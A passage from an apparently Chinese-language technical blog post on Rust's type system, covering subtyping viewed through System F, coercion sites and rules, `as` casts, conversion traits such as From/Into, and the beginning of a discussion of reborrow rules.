&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;写作只是影响type check，但对于计算结果没有影响，因为计算是在type erasure后进行的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;即在计算时实际上是&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;换句话说，从纯理论（类型系统）的角度看，所有函数本质上都是untyped的，类似动态语言中duck typing的函数&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;我们可以将monomorphic函数针对不同类型，生成不同机器码&#x2F;字节码的具体行为，视为语言实现时的一种优化&lt;&#x2F;li&gt;
&lt;li&gt;同理，我们可以将Rust&#x2F;C++针对polymorphic函数进行monomorphization的行为，视为语言实现时的一种优化，有些语言则没有实现这一优化或这一优化是可选的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;type check实际上是要求，存在一个type application，使得添加它之后的式子，在System F中能通过type check&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们在此模型下，考察&lt;code&gt;B &amp;lt;: C&lt;&#x2F;code&gt;的由来：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;期望&lt;code&gt;C&lt;&#x2F;code&gt;类型的位置若替换成&lt;code&gt;B&lt;&#x2F;code&gt;类型的值，则存在type application &lt;code&gt;b = Int&lt;&#x2F;code&gt;，令其类型变为&lt;code&gt;[Int] -&amp;gt; [Int] = C&lt;&#x2F;code&gt;，因此允许替换，即&lt;code&gt;B &amp;lt;: C&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;上述论述等价于将&lt;code&gt;B&lt;&#x2F;code&gt;视为一个集合，要求&lt;code&gt;∃b. b ∈ B ∧ b = C&lt;&#x2F;code&gt;，也就是&lt;code&gt;C ∈ B&lt;&#x2F;code&gt;或者说&lt;code&gt;{C} ⊆ B&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;再考虑&lt;code&gt;A &amp;lt;: B&lt;&#x2F;code&gt;的由来：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;期望&lt;code&gt;B&lt;&#x2F;code&gt;类型的位置若替换成&lt;code&gt;A&lt;&#x2F;code&gt;类型的值，假设原本&lt;code&gt;B&lt;&#x2F;code&gt;类型需要的type application为&lt;code&gt;b = b0&lt;&#x2F;code&gt;，则可令type application改为&lt;code&gt;a = [b0]&lt;&#x2F;code&gt;，得到的类型都是&lt;code&gt;[b0] -&amp;gt; [b0]&lt;&#x2F;code&gt;，因此允许替换，即&lt;code&gt;A &amp;lt;: B&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;上述论述等价于将&lt;code&gt;A&lt;&#x2F;code&gt;、&lt;code&gt;B&lt;&#x2F;code&gt;视为集合，要求&lt;code&gt;∀b ∈ B. ∃a ∈ A. a = b&lt;&#x2F;code&gt;，也就是&lt;code&gt;B ⊆ A&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这样，我们就解释了为什么subtyping规则是更polymorphic的类型（更大的集合）是不够polymorphic的类型（更小的集合）的subtype。&lt;&#x2F;p&gt;
&lt;p&gt;回到Rust，在Rust中省略函数的type parameter会造成两种不同的语义：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;f::&amp;lt;&#x27;a, T&amp;gt;&lt;&#x2F;code&gt;省略为&lt;code&gt;f::&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;，此时&lt;code&gt;f::&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;不能作为一个polymorphic type的值存在&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;因为涉及&lt;code&gt;T&lt;&#x2F;code&gt;时会发生monomorphization，&lt;code&gt;f::&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;代表了无数个monomorphic type的值&lt;&#x2F;li&gt;
&lt;li&gt;而许多函数式语言中，编译时polymorphic function会发生type erasure，最后落实到单独一个值，而不是无穷多个&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;f::&amp;lt;&#x27;a, T&amp;gt;&lt;&#x2F;code&gt;省略为&lt;code&gt;f::&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，此时&lt;code&gt;f::&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;能作为一个polymorphic type的值存在&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;因为lifetime&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;会发生type erasure，故能够表现地像典型的函数式语言一样&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;只有后者遵循上面描述的模型，故只有它才支持Higher-Rank Type以及上述subtyping规则&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;下面介绍type coercion，也就是隐式类型转换。&lt;&#x2F;p&gt;
&lt;p&gt;coercion只能发生在以下场合，即coerce的目标类型已经确定的场合，称为&lt;em&gt;coercion site&lt;&#x2F;em&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;const&lt;&#x2F;code&gt;、&lt;code&gt;static&lt;&#x2F;code&gt;语句，显式声明了类型的&lt;code&gt;let&lt;&#x2F;code&gt;语句，以及赋值语句&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;函数参数，实参被coerce到形参&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;函数返回值，&lt;code&gt;return&lt;&#x2F;code&gt;的值被coerce到返回值类型&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;struct、enum的初始化&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;上述场景的expression中的sub-expression，以及sub-expression的sub-expression等等（可递归），包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;array和tuple，如果整个expression有确定的coerce目标类型，则每个sub-expression也能确定coerce目标类型&lt;&#x2F;li&gt;
&lt;li&gt;block语句，若其有确定的coerce目标类型，则其中最后一个expression的coerce目标类型也就确定了&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;coercion包括以下隐式类型转换：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;若&lt;code&gt;T &amp;lt;: U&lt;&#x2F;code&gt;，则&lt;code&gt;T&lt;&#x2F;code&gt;可以coerce到&lt;code&gt;U&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若&lt;code&gt;T1&lt;&#x2F;code&gt;可以coerce到&lt;code&gt;T2&lt;&#x2F;code&gt;，&lt;code&gt;T2&lt;&#x2F;code&gt;可以coerce到&lt;code&gt;T3&lt;&#x2F;code&gt;，则&lt;code&gt;T1&lt;&#x2F;code&gt;可以coerce到&lt;code&gt;T3&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;可以coerce到&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;，&lt;code&gt;*mut T&lt;&#x2F;code&gt;可以coerce到&lt;code&gt;*const T&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;可以coerce到&lt;code&gt;*const T&lt;&#x2F;code&gt;，&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;可以coerce到&lt;code&gt;*mut T&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若&lt;code&gt;T: Deref&amp;lt;Target = U&amp;gt;&lt;&#x2F;code&gt;，则&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;和&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;可以coerce到&lt;code&gt;&amp;amp;U&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若&lt;code&gt;T: DerefMut&amp;lt;Target = U&amp;gt;&lt;&#x2F;code&gt;，则&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;可以coerce到&lt;code&gt;&amp;amp;mut U&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;无捕获的closure类型可以coerce到函数指针类型&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Bottom Type&lt;code&gt;!&lt;&#x2F;code&gt;可以coerce到任意类型&lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若&lt;code&gt;T&lt;&#x2F;code&gt;到&lt;code&gt;U&lt;&#x2F;code&gt;存在unsized coercion，则&lt;code&gt;&amp;amp;T, &amp;amp;mut T, *const T, *mut T, Box&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;可以coerce到&lt;code&gt;&amp;amp;U, &amp;amp;mut U, *const U, *mut U, Box&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;实际上凡是实现了&lt;code&gt;std::ops::CoerceUnsized&amp;lt;Ptr&amp;lt;U&amp;gt;&amp;gt;&lt;&#x2F;code&gt;的&lt;code&gt;Ptr&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，都能coerce到&lt;code&gt;Ptr&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，所有智能指针都通过这种方式实现了对unsized coercion的支持&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所谓unsized coercion就是从sized type转换到unsized type，包括如下隐式类型转换：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[T; n]&lt;&#x2F;code&gt;可以转换为&lt;code&gt;[T]&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若&lt;code&gt;T: Trait&lt;&#x2F;code&gt;，则&lt;code&gt;T&lt;&#x2F;code&gt;可以转换为&lt;code&gt;dyn Trait&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若&lt;code&gt;TraitT : TraitU&lt;&#x2F;code&gt;，则&lt;code&gt;dyn TraitT&lt;&#x2F;code&gt;可以转换为&lt;code&gt;dyn TraitU&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Foo&amp;lt;..., T, ...&amp;gt;&lt;&#x2F;code&gt;可以转换为&lt;code&gt;Foo&amp;lt;..., U, ...&amp;gt;&lt;&#x2F;code&gt;，只要满足：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;T&lt;&#x2F;code&gt;到&lt;code&gt;U&lt;&#x2F;code&gt;存在unsized coercion&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Foo&lt;&#x2F;code&gt;是一个struct，且最后一个field的类型中含有&lt;code&gt;T&lt;&#x2F;code&gt;，而其他field中不含&lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;若最后一个field类型中含有&lt;code&gt;Bar&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，则&lt;code&gt;Bar&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;到&lt;code&gt;Bar&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;必须也存在unsized coercion&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;注意coercion不一定总是no-op，从&lt;code&gt;&amp;amp;[T; n]&lt;&#x2F;code&gt;到&lt;code&gt;&amp;amp;[T]&lt;&#x2F;code&gt;、从&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;到&lt;code&gt;&amp;amp;dyn Trait&lt;&#x2F;code&gt;都需要从thin pointer转换到fat pointer。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;RustLang Reference Defect?&lt;&#x2F;strong&gt;  上述&lt;code&gt;Foo&amp;lt;..., T, ...&amp;gt;&lt;&#x2F;code&gt;到&lt;code&gt;Foo&amp;lt;..., U, ...&amp;gt;&lt;&#x2F;code&gt;的unsized coercion规则有些不严谨，若最后一个field含有的是函数指针&lt;code&gt;fn(T) -&amp;gt; T&lt;&#x2F;code&gt;，也适用于unsized coercion吗，似乎并不合适。反之，若非最后一个field含有&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;，则实际上将&lt;code&gt;T&lt;&#x2F;code&gt;转换到&lt;code&gt;U&lt;&#x2F;code&gt;是合法的。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;除此之外，Rust还提供了type cast即强制类型转换，其语法为&lt;code&gt;expr as Type&lt;&#x2F;code&gt;，例如&lt;code&gt;i as f64&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;首先，Rust提供了各种数值类型的type cast：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Numeric Cast: 从integer&#x2F;float到integer&#x2F;float&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;u32 -&amp;gt; i32&lt;&#x2F;code&gt;: size相同则仅改变类型&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;u32 -&amp;gt; u8&lt;&#x2F;code&gt;: 从大到小会truncate&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;u8 -&amp;gt; u32&lt;&#x2F;code&gt;: 从小到大会extend，unsigned整数进行zero-extend，signed整数进行sign-extend&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;f32 -&amp;gt; i32&lt;&#x2F;code&gt;: 从float到integer会round to zero，&lt;strong&gt;若超出integer表示范围则是UB&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;i32 -&amp;gt; f32&lt;&#x2F;code&gt;: 从integer到float会产生最接近的值&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;rounding mode取IEEE 754-2008的「ties to even」模式&lt;&#x2F;li&gt;
&lt;li&gt;若发生overflow，则产生&lt;code&gt;±Inf&lt;&#x2F;code&gt;，符号与integer相同，当前只有&lt;code&gt;u128 -&amp;gt; f32&lt;&#x2F;code&gt;可能发生overflow&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;f32 -&amp;gt; f64&lt;&#x2F;code&gt;: 从f32到f64是loseless的&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;f64 -&amp;gt; f32&lt;&#x2F;code&gt;: 从f64到f32会产生最接近的值&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;rounding mode取IEEE 754-2008的「ties to even」模式&lt;&#x2F;li&gt;
&lt;li&gt;若发生overflow，则产生&lt;code&gt;±Inf&lt;&#x2F;code&gt;，符号与f64相同&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Enum Cast: 从C-like enum（即field-less enum）到integer，取其discriminant即可，可能需再进行一次numeric cast&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Primitive to Integer Cast: 从&lt;code&gt;bool&lt;&#x2F;code&gt;或&lt;code&gt;char&lt;&#x2F;code&gt;到integer&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bool -&amp;gt; u32&lt;&#x2F;code&gt;: &lt;code&gt;false&lt;&#x2F;code&gt;变成0，&lt;code&gt;true&lt;&#x2F;code&gt;变成1&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;char -&amp;gt; u32&lt;&#x2F;code&gt;: 取&lt;code&gt;char&lt;&#x2F;code&gt;的code point值即可，可能需再进行一次numeric cast&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;u8&lt;&#x2F;code&gt; to &lt;code&gt;char&lt;&#x2F;code&gt; Cast: 得到相应code point的&lt;code&gt;char&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其次，提供了涉及指针的各类type cast，尽管看起来是unsafe的但实际上这些操作也是safe的，因为若要解引用指针则必须使用&lt;code&gt;unsafe&lt;&#x2F;code&gt;块，故type cast就无需额外标记为unsafe的了。Rust提供了以下type cast，其中&lt;code&gt;*T&lt;&#x2F;code&gt;代表&lt;code&gt;*const T&lt;&#x2F;code&gt;或&lt;code&gt;*mut T&lt;&#x2F;code&gt;，：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Array to Pointer Cast: &lt;code&gt;&amp;amp;[T; n] -&amp;gt; *const T&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Pointer to Pointer Cast: &lt;code&gt;*T -&amp;gt; *U&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;或者是&lt;code&gt;T&lt;&#x2F;code&gt;和&lt;code&gt;U&lt;&#x2F;code&gt;都是sized类型&lt;&#x2F;li&gt;
&lt;li&gt;或者是&lt;code&gt;T&lt;&#x2F;code&gt;和&lt;code&gt;U&lt;&#x2F;code&gt;同属slice或同属dynamic trait，这样它们的fat pointer互相兼容&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Address Cast: &lt;code&gt;Integer -&amp;gt; *U&lt;&#x2F;code&gt;, &lt;code&gt;*T -&amp;gt; Integer&lt;&#x2F;code&gt;, &lt;code&gt;fn -&amp;gt; Integer&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;地址只能转换为&lt;code&gt;*U, U: Sized&lt;&#x2F;code&gt;，因为指向unsized type的指针是fat pointer&lt;&#x2F;li&gt;
&lt;li&gt;反之，也只有&lt;code&gt;*T, T: Sized&lt;&#x2F;code&gt;才能转换为地址，因为fat pointer不能转换为地址&lt;&#x2F;li&gt;
&lt;li&gt;此外，函数指针也能转换为地址&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Function Pointer to Pointer Cast: &lt;code&gt;fn -&amp;gt; *U&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;函数指针只能转换为&lt;code&gt;*U, U: Sized&lt;&#x2F;code&gt;，因为函数指针是thin pointer，而指向unsized type的指针是fat pointer&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Closure to Function Pointer Cast: &lt;code&gt;Closure -&amp;gt; fn&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;只有无capture的closure可以转换为function pointer，因为此时closure只是一个普通的匿名函数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最后，所有type coercion同时也可以显式地用作type cast。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;Rust还提供了&lt;code&gt;AsRef&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;和&lt;code&gt;AsMut&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;这两个Trait来进行reference到reference的转换：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AsRef&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;只有一个&lt;code&gt;as_ref(&amp;amp;self) -&amp;gt; &amp;amp;T&lt;&#x2F;code&gt;方法，用于将&lt;code&gt;U: AsRef&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;转换为&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;AsMut&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;只有一个&lt;code&gt;as_mut(&amp;amp;mut self) -&amp;gt; &amp;amp;mut T&lt;&#x2F;code&gt;方法，用于将&lt;code&gt;U: AsMut&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;转换为&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;在generic函数中，可以使用&lt;code&gt;T: AsRef&lt;&#x2F;code&gt;类型的参数，来接受一切可以转换成&lt;code&gt;&amp;amp;U&lt;&#x2F;code&gt;的变量，对于&lt;code&gt;AsMut&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;也是同理&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此外还有&lt;code&gt;From&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;和&lt;code&gt;Into&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;这两个Trait可以进行value到value的转换：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;From&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;只有一个&lt;code&gt;from(T) -&amp;gt; Self&lt;&#x2F;code&gt;的方法，用于将&lt;code&gt;T&lt;&#x2F;code&gt;转换为&lt;code&gt;U: From&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Into&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;只有一个&lt;code&gt;into(self) -&amp;gt; T&lt;&#x2F;code&gt;的方法，用于将&lt;code&gt;U: Into&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;转换为&lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对任意类型都有&lt;code&gt;T: From&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;和&lt;code&gt;T: Into&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;应当优先实现&lt;code&gt;From&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，因为若&lt;code&gt;U: From&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;则标准库会自动为我们实现&lt;code&gt;Into for T&lt;&#x2F;code&gt;，反之则不行&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Into&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;适合作为generic函数中参数的类型&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;错误处理时，若函数返回值为&lt;code&gt;Result&amp;lt;T, MyError&amp;gt;&lt;&#x2F;code&gt;，则&lt;code&gt;?&lt;&#x2F;code&gt;操作符会自动调用&lt;code&gt;Into&amp;lt;MyError&amp;gt;::into&lt;&#x2F;code&gt;，将各种错误转换为&lt;code&gt;MyError&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;因此建议为自己自定义的错误类型实现&lt;code&gt;From&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;reborrow-rules&quot;&gt;Reborrow Rules&lt;&#x2F;h2&gt;
&lt;p&gt;自动reborrow不仅可以发生在函数参数传递时，还有多种方法触发自动reborrow，但Rust文档中并未提供详细的规则，下面谈谈我的理解。&lt;&#x2F;p&gt;
&lt;p&gt;首先，&lt;code&gt;let&lt;&#x2F;code&gt;语句和赋值语句可以引起reborrow，设&lt;code&gt;u: &amp;amp;mut i32, v: &amp;amp;mut i32, w: &amp;amp;i32&lt;&#x2F;code&gt;，则：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;let x: &amp;amp;i32 = u&lt;&#x2F;code&gt;: &lt;code&gt;u&lt;&#x2F;code&gt;会被reborrow&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这里本质上是发生了&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;到&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;的coercion，而该coercion的实现方式就是reborrow&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;let x = w; x = u;&lt;&#x2F;code&gt;: &lt;code&gt;u&lt;&#x2F;code&gt;会被reborrow&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;首先&lt;code&gt;x&lt;&#x2F;code&gt;的类型被推导为&lt;code&gt;&amp;amp;i32&lt;&#x2F;code&gt;，&lt;code&gt;let&lt;&#x2F;code&gt;语句进行copy操作&lt;&#x2F;li&gt;
&lt;li&gt;然后&lt;code&gt;x = u&lt;&#x2F;code&gt;发生了&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;到&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;的coercion，于是发生了reborrow&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;类型推导决定了是否发生mutable reference到mutable reference的reborrow，参见这个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;35919&quot;&gt;issue&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;let x = u&lt;&#x2F;code&gt;: &lt;code&gt;u&lt;&#x2F;code&gt;会被move&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;let x; x = u;&lt;&#x2F;code&gt;: &lt;code&gt;u&lt;&#x2F;code&gt;仍会被move&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;let x: &amp;amp;mut i32 = u&lt;&#x2F;code&gt;: &lt;code&gt;u&lt;&#x2F;code&gt;会被reborrow&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;按照Rust维护者&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;nikomatsakis&quot;&gt;Nicholas D. Matsakis&lt;&#x2F;a&gt;的说法，这里发生的reborrow本质上是&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;到&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;的coercion，其实现方式是进行reborrow&lt;&#x2F;li&gt;
&lt;li&gt;尽管Rust文档中并未列出一条&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;到&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;的coercion&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若&lt;code&gt;let&lt;&#x2F;code&gt;语句未指定类型，需要类型推导，则不属于coercion site，因此不会发生reborrow，而是会进行move&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若&lt;code&gt;let&lt;&#x2F;code&gt;语句指定了类型，则属于coercion site，因此会发生reborrow&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;let mut x = u; x = v;&lt;&#x2F;code&gt;: &lt;code&gt;u&lt;&#x2F;code&gt;会被move，&lt;code&gt;v&lt;&#x2F;code&gt;会被reborrow&lt;&#x2F;p&gt;
&lt;ul&gt;
